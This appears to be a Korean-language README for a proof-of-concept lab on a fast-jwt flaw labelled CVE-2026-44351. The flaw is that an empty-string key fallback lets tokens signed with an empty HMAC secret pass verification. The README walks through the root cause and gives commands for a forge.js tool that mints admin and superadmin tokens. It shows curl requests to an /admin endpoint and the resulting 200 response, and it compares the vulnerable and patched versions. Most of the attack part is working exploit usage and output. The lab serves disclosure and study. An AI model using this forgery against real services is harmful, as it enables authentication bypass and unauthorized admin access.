const verify = createVerifier({
  // 라이브러리 자체에서 문서화한 표준 JWKS 패턴
  key: async (decoded) => jwks[decoded.header.kid] || '',
})

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  // ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')  // ''  ->  Buffer.alloc(0)
  }

  const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
  // !publicKeyPemMatch && !X509 분기  ->  hsAlgorithms = ['HS256','HS384','HS512']

  if (validationContext.allowedAlgorithms.length) {
    checkAreCompatibleAlgorithms(...)
  } else {
    validationContext.allowedAlgorithms = availableAlgorithms // HMAC 계열이 할당됨
  }

  currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
  // -> createSecretKey(Buffer.alloc(0))  (길이 검사 없음)
  verifyToken(currentKey, decoded, validationContext)
})

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

docker compose up -d --build server
curl -s http://localhost:3000/health        # {'status':'ok'} -> target 준비 완료

node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...

# header  : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }

node forge.js                          # 화면에 토큰 + 준비된 curl 명령
node forge.js -o /tmp/jwt.txt          # 토큰을 파일에 저장
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin

TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"

HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}

npm run demo        # [email protected] -> 위조된 토큰 허용됨
npm run fixed       # [email protected] -> 위조된 토큰 거부됨 (FAST_JWT_INVALID_KEY)

docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed

node server.js            # 또는 다시: docker compose up -d --build server
open http://localhost:3000

.
├── Dockerfile            fast-jwt 6.2.3 및 6.2.4 (fixed/) 이미지
├── docker-compose.yml    server / demo / fixed-demo 서비스 (exploit 없음)
├── .dockerignore         빌드 컨텍스트에서 node_modules 제외
├── package.json          의존성: [email protected] (취약)
├── server.js             취약한 API (fallback || ''를 사용하는 async key resolver) + /admin + /login + 정적 파일
├── forge.js              유일한 스크립트: 빈 secret으로 JWT 생성 / 토큰 검사
├── demo.js               [email protected] (취약)에 대한 라이브러리 수준 데모
├── public/               "실제 앱" 프론트엔드 (login, dashboard, admin, red team)
│   ├── index.html
│   ├── styles.css
│   └── app.js            SPA + 클라이언트 측 위조 (순수 JS의 key ''를 사용한 HMAC-SHA256)
├── docs/
│   └── CVE-2026-44351.md 기술 문서: 개요, 근본 원인, 패치
└── fixed/
    ├── package.json      의존성: [email protected] (패치됨)
    └── demo.js           [email protected] (패치됨)에 대한 동일한 데모